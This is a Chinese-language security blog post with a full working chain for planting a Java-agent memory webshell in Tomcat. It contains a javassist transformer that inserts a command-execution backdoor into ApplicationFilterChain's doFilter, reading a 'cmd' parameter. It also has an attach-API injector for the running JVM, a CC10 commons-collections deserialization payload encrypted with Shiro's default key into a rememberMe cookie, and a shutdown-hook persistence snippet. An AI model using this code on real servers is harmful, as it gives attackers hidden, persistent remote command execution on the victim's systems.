本文将要讲解的是通过Java agent拦截修改关键类的字节码,最大程度实现一套代码通用注入内存shell。
简述内存shell
Java内存shell有很多种,大致分为:
- 动态注册servlet
- 动态注册filter
- 动态注册listener
- 基于Java agent拦截修改关键类字节码实现内存shell
前三种方法在 《JSP Webshell那些事 – 攻击篇(下)》 一文中均有讲解,但是前三种方法均需要对中间件大量调试,反射调用一步一步的链条,对于大型中间件比如weblogic这种比较麻烦,无法实现一套代码通用。
那么本文将要讲解的最后一种方法,通过拦截修改关键类的字节码,只需要寻找到关键类做处理即可,进而最大程度实现一套代码通用(理论上)。
简单认识Java Agent
在jdk的rt.jar包中存在一个java.lang.instrument
包,该包提供了一些工具帮助开发人员在 Java 程序运行时,动态修改系统中的 Class 类型。其中,使用该软件包的一个关键组件就是 Javaagent。从名字上看,似乎是个 Java 代理之类的,而实际上,他的功能更像是一个Class 类型的转换器,他可以在运行时接受重新外部请求,对Class类型进行修改。
Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:
- 这个 jar 包的
MANIFEST.MF
文件必须指定Premain-Class
项。 Premain-Class
指定的那个类必须实现 premain() 方法。
JVM启动时会优先加载agent里面的东西,我们写一个简单的agent来看一下。
项目结构
1└───src
2 └───org
3 └───chabug
4 Agent.java
5 DefineTransformer.java
org.chabug.Agent.java
1package org.chabug;
2
3import java.lang.instrument.Instrumentation;
4
5public class Agent {
6 public static void premain(String agentArgs, Instrumentation inst) {
7 System.out.println("agentArgs : " + agentArgs);
8 inst.addTransformer(new DefineTransformer(), true);
9 }
10}
org.chabug.DefineTransformer.java
1package org.chabug;
2
3import java.lang.instrument.ClassFileTransformer;
4import java.lang.instrument.IllegalClassFormatException;
5import java.security.ProtectionDomain;
6
7public class DefineTransformer implements ClassFileTransformer {
8 @Override
9 public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
10 System.out.println("premain load Class:" + className);
11 return new byte[0];
12 }
13}
然后配置打包文件src\META-INF\MANIFEST.MF
1Manifest-Version: 1.0
2Can-Redefine-Classes: true
3Can-Retransform-Classes: true
4Premain-Class: org.chabug.Agent
idea打包为jar文件之后,创建一个新的类org.chabug.Main
测试agent
1package org.chabug;
2
3public class Main {
4 public static void main(String[] args) {
5 System.out.println("thisismain");
6 }
7}
idea设置运行时vm参数-javaagent:out\artifacts\TestAgent_jar\TestAgent.jar
运行结果
1agentArgs : null
2premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
3premain load Class:sun/misc/URLClassPath$JarLoader$2
4premain load Class:java/util/jar/Attributes
5premain load Class:java/util/jar/Manifest$FastInputStream
6premain load Class:java/lang/StringCoding
7premain load Class:java/lang/StringCoding$StringDecoder
8premain load Class:java/util/jar/Attributes$Name
9premain load Class:sun/misc/ASCIICaseInsensitiveComparator
10premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
11premain load Class:com/intellij/rt/execution/application/AppMainV2
12premain load Class:com/intellij/rt/execution/application/AppMainV2$1
13premain load Class:java/lang/reflect/InvocationTargetException
14premain load Class:java/lang/NoSuchMethodException
15premain load Class:java/net/Socket
16premain load Class:java/net/InetSocketAddress
17premain load Class:java/net/SocketAddress
18premain load Class:java/net/InetAddress
19premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
20premain load Class:sun/security/action/GetBooleanAction
21premain load Class:java/lang/invoke/MethodHandleImpl
22premain load Class:java/net/InetAddress$1
23premain load Class:java/lang/invoke/MethodHandleImpl$1
24premain load Class:java/lang/invoke/MethodHandleImpl$2
25premain load Class:java/util/function/Function
26premain load Class:java/net/InetAddress$InetAddressHolder
27premain load Class:java/net/InetAddress$Cache
28premain load Class:java/net/InetAddress$Cache$Type
29premain load Class:java/net/InetAddressImplFactory
30premain load Class:java/lang/invoke/MethodHandleImpl$3
31premain load Class:java/lang/invoke/MethodHandleImpl$4
32premain load Class:java/lang/ClassValue
33premain load Class:java/net/Inet6AddressImpl
34premain load Class:java/lang/ClassValue$Entry
35premain load Class:java/net/InetAddressImpl
36premain load Class:java/lang/ClassValue$Identity
37premain load Class:java/lang/ClassValue$Version
38premain load Class:java/lang/invoke/MemberName$Factory
39premain load Class:java/net/InetAddress$2
40premain load Class:java/lang/invoke/MethodHandleStatics
41premain load Class:sun/net/spi/nameservice/NameService
42premain load Class:java/lang/invoke/MethodHandleStatics$1
43premain load Class:java/net/Inet4Address
44premain load Class:java/net/SocksSocketImpl
45premain load Class:java/net/SocksConsts
46premain load Class:sun/misc/PostVMInitHook
47premain load Class:java/net/PlainSocketImpl
48premain load Class:sun/misc/PostVMInitHook$2
49premain load Class:java/net/AbstractPlainSocketImpl
50premain load Class:jdk/internal/util/EnvUtils
51premain load Class:sun/misc/PostVMInitHook$1
52premain load Class:java/net/SocketImpl
53premain load Class:java/net/SocketOptions
54premain load Class:sun/usagetracker/UsageTrackerClient
55premain load Class:java/net/AbstractPlainSocketImpl$1
56premain load Class:java/util/concurrent/atomic/AtomicBoolean
57premain load Class:sun/usagetracker/UsageTrackerClient$1
58premain load Class:java/net/PlainSocketImpl$1
59premain load Class:sun/usagetracker/UsageTrackerClient$4
60premain load Class:sun/misc/FloatingDecimal
61premain load Class:sun/usagetracker/UsageTrackerClient$2
62premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
63premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
64premain load Class:sun/usagetracker/UsageTrackerClient$3
65premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
66premain load Class:sun/misc/FloatingDecimal$1
67premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
68premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
69premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
70premain load Class:java/net/DualStackPlainSocketImpl
71premain load Class:java/lang/StringCoding$StringEncoder
72premain load Class:java/net/Inet6Address
73premain load Class:java/io/FileOutputStream$1
74premain load Class:java/net/Inet6Address$Inet6AddressHolder
75premain load Class:sun/launcher/LauncherHelper
76premain load Class:java/net/SocksSocketImpl$3
77premain load Class:sun/nio/cs/MS1252
78premain load Class:java/net/ProxySelector
79premain load Class:sun/nio/cs/SingleByte
80premain load Class:sun/net/spi/DefaultProxySelector
81premain load Class:sun/nio/cs/SingleByte$Decoder
82premain load Class:sun/net/spi/DefaultProxySelector$1
83premain load Class:sun/net/NetProperties
84premain load Class:sun/net/NetProperties$1
85premain load Class:org/chabug/Main
86premain load Class:sun/launcher/LauncherHelper$FXHelper
87premain load Class:java/util/Properties$LineReader
88premain load Class:java/lang/Class$MethodArray
89premain load Class:java/lang/Void
90thisismain
91premain load Class:java/lang/Shutdown
92premain load Class:java/net/URI
93premain load Class:java/lang/Shutdown$Lock
可以看到agent的org.chabug.Agent#premain
优于Main方法而先被运行,并且在org.chabug.DefineTransformer#transform
获取到了JVM加载的类。
那么思路回到内存shell的思路中,如果我们把这个agent加载到jvm中,那么就可以通过javassist进行字节码插桩,修改tomcat的filter实现类,从而实现内存马。
现在的问题就在于:
- javassist 应该修改哪个关键类?
- 如何指定运行时tomcat的
-javaagent
参数? - 如何修改tomcat运行后已经加载的类?
- 如何通过反序列化注入
寻找关键类
tomcat filter内存shell有无数的分析文章,其中大部分都提到了一个关键类org.apache.catalina.core.ApplicationFilterChain#doFilter
该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如果在这里拦截,那么filter既通用,又不影响正常业务。
来写agent
1package org.chabug;
2
3import java.lang.instrument.Instrumentation;
4
5public class MyAgent {
6 // tomcat FilterChain
7 public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
8
9 public static void agentmain(String args, Instrumentation inst) throws Exception {
10 inst.addTransformer(new MyTransformer(), true);
11 Class[] loadedClasses = inst.getAllLoadedClasses();
12
13 for (int i = 0; i < loadedClasses.length; ++i) {
14 Class clazz = loadedClasses[i];
15 if (clazz.getName().equals(ClassName)) {
16 try {
17 inst.retransformClasses(new Class[]{clazz});
18 } catch (Exception var9) {
19 var9.printStackTrace();
20 }
21 }
22 }
23// System.out.println("agent done");
24 }
25
26 public static void premain(String args, Instrumentation inst) throws Exception {
27
28 }
29}
定义transform
1package org.chabug;
2
3import javassist.*;
4
5import java.io.IOException;
6import java.lang.instrument.ClassFileTransformer;
7import java.security.ProtectionDomain;
8
9public class MyTransformer implements ClassFileTransformer {
10 public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
11
12 @Override
13 public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
14 className = className.replace('/', '.');
15
16 if (className.equals(ClassName)) {
17// System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
18 ClassPool cp = ClassPool.getDefault();
19 if (aClass != null) {
20 ClassClassPath classPath = new ClassClassPath(aClass);
21 cp.insertClassPath(classPath);
22 }
23 CtClass cc;
24 try {
25 cc = cp.get(className);
26 CtMethod m = cc.getDeclaredMethod("doFilter");
27 m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
28 " javax.servlet.ServletResponse res = response;" +
29 "String cmd = req.getParameter(\"cmd\");\n" +
30 "if (cmd != null) {\n" +
31 "Process process = Runtime.getRuntime().exec(cmd);\n" +
32 "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
33 "new java.io.InputStreamReader(process.getInputStream()));\n" +
34 "StringBuilder stringBuilder = new StringBuilder();\n" +
35 "String line;\n" +
36 "while ((line = bufferedReader.readLine()) != null) {\n" +
37 "stringBuilder.append(line + '\\n');\n" +
38 "}\n" +
39 "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
40 "res.getOutputStream().flush();\n" +
41 "res.getOutputStream().close();\n" +
42 "}");
43 byte[] byteCode = cc.toBytecode();
44 cc.detach();
45 return byteCode;
46 } catch (NotFoundException | IOException | CannotCompileException e) {
47 e.printStackTrace();
48// System.out.println("error:::::::::::::::::::::" + e.getMessage());
49 }
50 }
51
52 return new byte[0];
53 }
54}
如何指定-javaagent参数
tomcat运行前我们无法控制命令行参数,但是运行时JVM提供了com.sun.tools.attach.VirtualMachine
的api,可以通过这个类attach jvm,然后通过loadAgent()
函数把agent加载进去。
然后在这里又碰到了坑,com.sun.tools.attach.VirtualMachine
这个类是JDK的C:\Program Files\Java\jdk1.8.0_251\lib\tools.jar
包中,在tomcat运行时是jre环境,获取不到这个类。我的办法是通过URLClassLoader加载java.home
拼接出来的jar包路径,然后反射获取类和方法。
实现代码
1package org.chabug;
2
3public class Main {
4 public static void main(String[] args) throws Exception {
5 if (args.length == 0) {
6 return;
7 }
8 String agentPath = args[0];
9 try {
10 java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
11 java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
12 java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
13 add.setAccessible(true);
14 add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
15 Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
16 Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
17 java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
18 java.util.List<Object> invoke = (java.util.List<Object>) list.invoke(null, new Object[]{});
19// System.out.println(invoke);
20
21 for (int i = 0; i < invoke.size(); i++) {
22 Object o = invoke.get(i);
23 java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
24 Object name = displayName.invoke(o, new Object[]{});
25 System.out.println(String.format("find jvm process name:[[[" +
26 "%s" +
27 "]]]", name.toString()));
28 if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
29 java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
30 Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
31 java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
32 loadAgent.invoke(machine, new Object[]{agentPath});
33 java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
34 detach.invoke(machine, new Object[]{});
35 System.out.println("inject tomcat done, break.");
36 System.out.println("check url http://localhost:8080/?cmd=whoami");
37 break;
38 }
39 }
40 } catch (Exception e) {
41 e.printStackTrace();
42 }
43 }
44}
运行这个类,传入agentPath就可以注入agent了。
在这里还碰到一个坑:VirtualMachine.list()
获取为空,后来发现双击tomcat的startup.bat启动,在jconsole中也找不到jvm进程,然后一顿乱试发现通过命令行运行startup.bat就可以了。
如何修改tomcat运行后已经加载的类
其实这个问题在上面写agent的时候已经解决了,关键代码
1Class[] loadedClasses = inst.getAllLoadedClasses();
2
3for (int i = 0; i < loadedClasses.length; ++i) {
4 Class clazz = loadedClasses[i];
5 if (clazz.getName().equals(ClassName)) {
6 try {
7 inst.retransformClasses(new Class[]{clazz});
8 } catch (Exception e) {
9 e.printStackTrace();
10 }
11 }
12}
通过Instrumentation
的getAllLoadedClasses()
就能拿到tomcat运行后已经加载的类,再通过retransformClasses()
重新转换下就可以了。
如何通过反序列化注入
我这里是shiro550 tomcat9的环境,根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条,改了改。
1package org.chabug.demo;
2
3import com.sun.org.apache.xalan.internal.xsltc.DOM;
4import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
7import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
8import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
9import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
10import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
11import javassist.ClassClassPath;
12import javassist.ClassPool;
13import javassist.CtClass;
14import org.apache.commons.collections.functors.InvokerTransformer;
15import org.apache.commons.collections.keyvalue.TiedMapEntry;
16import org.apache.commons.collections.map.LazyMap;
17import ysoserial.payloads.util.Reflections;
18
19import javax.crypto.BadPaddingException;
20import javax.crypto.Cipher;
21import javax.crypto.IllegalBlockSizeException;
22import javax.crypto.NoSuchPaddingException;
23import javax.crypto.spec.IvParameterSpec;
24import javax.crypto.spec.SecretKeySpec;
25import java.io.*;
26import java.lang.reflect.Field;
27import java.security.InvalidKeyException;
28import java.security.NoSuchAlgorithmException;
29import java.util.HashMap;
30import java.util.HashSet;
31import java.util.Map;
32
33// 依赖 commons-collections:commons-collections:3.2.1
34// 依赖于 ysoserial javassist
35public class CC10 {
36
37 static {
38 System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
39 System.setProperty("java.rmi.server.useCodebaseOnly", "false");
40 }
41
42 public static Object createTemplatesImpl(String command) throws Exception {
43 return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
44 }
45
46 public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
47 T templates = tplClass.newInstance();
48 ClassPool pool = ClassPool.getDefault();
49 pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
50 pool.insertClassPath(new ClassClassPath(abstTranslet));
51 CtClass clazz = pool.get(StubTransletPayload.class.getName());
52 String cmd = String.format(
53 " try {\n" +
54 "java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
55 "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
56 "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
57 "add.setAccessible(true);\n" +
58 " add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
59 "Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
60 " Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
61 "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
62 " java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
63 "for (int i = 0; i < invoke.size(); i++) {" +
64 "Object o = invoke.get(i);\n" +
65 " java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
66 " Object name = displayName.invoke(o, null);\n" +
67 "if (name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {" +
68 " java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
69 " Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
70 " java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
71 " loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
72 " java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
73 " detach.invoke(machine, null);\n" +
74 " break;\n" +
75 "}" +
76 "}" +
77 "} catch (Exception e) {\n" +
78 " e.printStackTrace();\n" +
79 " }"
80 , agentPath.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
81
82 clazz.makeClassInitializer().insertAfter(cmd);
83 clazz.setName("ysoserial.Pwner" + System.nanoTime());
84 CtClass superC = pool.get(abstTranslet.getName());
85 clazz.setSuperclass(superC);
86 byte[] classBytes = clazz.toBytecode();
87 Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
88 Reflections.setFieldValue(templates, "_name", "Pwnr");
89 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
90 return templates;
91 }
92
93 public static String classAsFile(Class<?> clazz) {
94 return classAsFile(clazz, true);
95 }
96
97 public static String classAsFile(Class<?> clazz, boolean suffix) {
98 String str;
99 if (clazz.getEnclosingClass() == null) {
100 str = clazz.getName().replace(".", "/");
101 } else {
102 str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
103 }
104
105 if (suffix) {
106 str = str + ".class";
107 }
108
109 return str;
110 }
111
112 public static byte[] classAsBytes(Class<?> clazz) {
113 try {
114 byte[] buffer = new byte[1024];
115 String file = classAsFile(clazz);
116 InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
117 if (in == null) {
118 throw new IOException("couldn't find '" + file + "'");
119 } else {
120 ByteArrayOutputStream out = new ByteArrayOutputStream();
121
122 int len;
123 while ((len = in.read(buffer)) != -1) {
124 out.write(buffer, 0, len);
125 }
126
127 return out.toByteArray();
128 }
129 } catch (IOException var6) {
130 throw new RuntimeException(var6);
131 }
132 }
133
134
135 public static void main(String[] args) throws Exception {
136 // this is your agent path
137 String command = "E:\\code\\java\\MyAgent\\out\\artifacts\\MyAgent_jar\\MyAgent.jar";
138 Object templates = createTemplatesImpl(command);
139 InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
140 Map innerMap = new HashMap();
141 Map lazyMap = LazyMap.decorate(innerMap, transformer);
142 TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
143 HashSet map = new HashSet(1);
144 map.add("foo");
145 Field f = null;
146
147 try {
148 f = HashSet.class.getDeclaredField("map");
149 } catch (NoSuchFieldException var17) {
150 f = HashSet.class.getDeclaredField("backingMap");
151 }
152
153 Reflections.setAccessible(f);
154 HashMap innimpl = null;
155 innimpl = (HashMap) f.get(map);
156 Field f2 = null;
157
158 try {
159 f2 = HashMap.class.getDeclaredField("table");
160 } catch (NoSuchFieldException var16) {
161 f2 = HashMap.class.getDeclaredField("elementData");
162 }
163
164 Reflections.setAccessible(f2);
165 Object[] array = new Object[0];
166 array = (Object[]) ((Object[]) f2.get(innimpl));
167 Object node = array[0];
168 if (node == null) {
169 node = array[1];
170 }
171
172 Field keyField = null;
173
174 try {
175 keyField = node.getClass().getDeclaredField("key");
176 } catch (Exception var15) {
177 keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
178 }
179
180 Reflections.setAccessible(keyField);
181 keyField.set(node, entry);
182 Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
183
184 byte[] bytes = Serializables.serializeToBytes(map);
185 String key = "kPH+bIxk5D2deZiIxcaaaA==";
186 String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
187 System.out.println(rememberMe);
188 }
189
190 public static class Foo implements Serializable {
191 private static final long serialVersionUID = 8207363842866235160L;
192
193 public Foo() {
194 }
195 }
196
197 public static class StubTransletPayload extends AbstractTranslet implements Serializable {
198 private static final long serialVersionUID = -5971610431559700674L;
199
200 public StubTransletPayload() {
201 }
202
203 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
204 }
205
206 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
207 }
208 }
209
210
211}
212
213class Serializables {
214 public static byte[] serializeToBytes(final Object obj) throws Exception {
215 final ByteArrayOutputStream out = new ByteArrayOutputStream();
216 final ObjectOutputStream objOut = new ObjectOutputStream(out);
217 objOut.writeObject(obj);
218 objOut.flush();
219 objOut.close();
220 return out.toByteArray();
221 }
222
223
224 public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
225 final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
226 final ObjectInputStream objIn = new ObjectInputStream(in);
227 return objIn.readObject();
228 }
229
230 public static void serializeToFile(String path, Object obj) throws Exception {
231 FileOutputStream fos = new FileOutputStream("object");
232 ObjectOutputStream os = new ObjectOutputStream(fos);
233 //writeObject()方法将obj对象写入object文件
234 os.writeObject(obj);
235 os.close();
236 }
237
238 public static Object serializeFromFile(String path) throws Exception {
239 FileInputStream fis = new FileInputStream(path);
240 ObjectInputStream ois = new ObjectInputStream(fis);
241 // 通过Object的readObject()恢复对象
242 Object obj = ois.readObject();
243 ois.close();
244 return obj;
245 }
246
247}
248
249
250class EncryptUtil {
251 private static final String ENCRY_ALGORITHM = "AES";
252 private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
253 private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes(); // 16字节IV
254
255 public EncryptUtil() {
256 }
257
258 public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
259 try {
260 SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
261 Cipher cipher = Cipher.getInstance(CIPHER_MODE);
262 IvParameterSpec iv = new IvParameterSpec(IV);
263 cipher.init(1, keySpec, iv);
264 byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
265 return cipherTextBytes;
266 } catch (NoSuchPaddingException var6) {
267 var6.printStackTrace();
268 } catch (NoSuchAlgorithmException var7) {
269 var7.printStackTrace();
270 } catch (BadPaddingException var8) {
271 var8.printStackTrace();
272 } catch (IllegalBlockSizeException var9) {
273 var9.printStackTrace();
274 } catch (InvalidKeyException var10) {
275 var10.printStackTrace();
276 } catch (Exception var11) {
277 var11.printStackTrace();
278 }
279
280 return null;
281 }
282
283 public static String shiroEncrypt(String key, byte[] objectBytes) {
284 byte[] pwd = Base64.decode(key);
285 byte[] cipher = encrypt(objectBytes, pwd);
286
287 assert cipher != null;
288
289 byte[] output = new byte[pwd.length + cipher.length];
290 byte[] iv = IV;
291 System.arraycopy(iv, 0, output, 0, iv.length);
292 System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
293 return Base64.encode(output);
294 }
295}
在javassist插桩的时候碰到很多坑,比如泛型要用/**/
包起来,反射的可变参数的处理等等,不一一细讲,参考我的代码就行了。
效果
项目地址:https://github.com/Y4er/javaagent-tomcat-memshell
思考
写到这里又看了一些文章,发现了一些问题。
内存shell复活
@rebeyond 师傅的memShell项目实现了内存shell复活,原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的,但是会有一个jar包循环等待jvm进程起来,更敏感,我就没实现这个东西,代码贴出来
1public static void persist() {
2 try {
3 Thread t = new Thread() {
4 public void run() {
5 try {
6 writeFiles("inject.jar",Agent.injectFileBytes);
7 writeFiles("agent.jar",Agent.agentFileBytes);
8 startInject();
9 } catch (Exception e) {
10
11 }
12 }
13 };
14 t.setName("shutdown Thread");
15 Runtime.getRuntime().addShutdownHook(t);
16 } catch (Throwable t) {
17 }
18}
JVM关闭前,会先调用writeFiles把inject.jar和agent.jar写到磁盘上,然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar
。
文件落地并且被锁定
用javaagent的形式实现的内存shell,你需要落地一个agent进去,加载agent之后jar不能被删除,而落地agent会不会更敏感?
与其落地文件为什么不直接落地jsp shell,获取对于mvc和springboot这种有点作用,但是内存shell的意义确实被削弱了。
通用性
只需要寻找关键类即可,对于tomcat、weblogic这种还算通用,完全可以实现一个agent.jar通杀。
关键类寻找
如果关键类找不对,或者错了几个参数的命名,那么中间件正常处理filter的逻辑很可能发生错误,中间件很可能被打挂。虽然可以本地环境调试,但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。
结论
所以个人而言,agent类型的内存shell只能作为内存shell的一种开拓性思路,实际环境更应该倾向于servlet、filter这种内存shell,重在稳定。
参考
- https://www.cnblogs.com/rebeyond/p/9686213.html
- https://github.com/rebeyond/memShell
- https://www.cnblogs.com/rickiyang/p/11368932.html
- https://github.com/Y4er/javaagent-tomcat-memshell
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论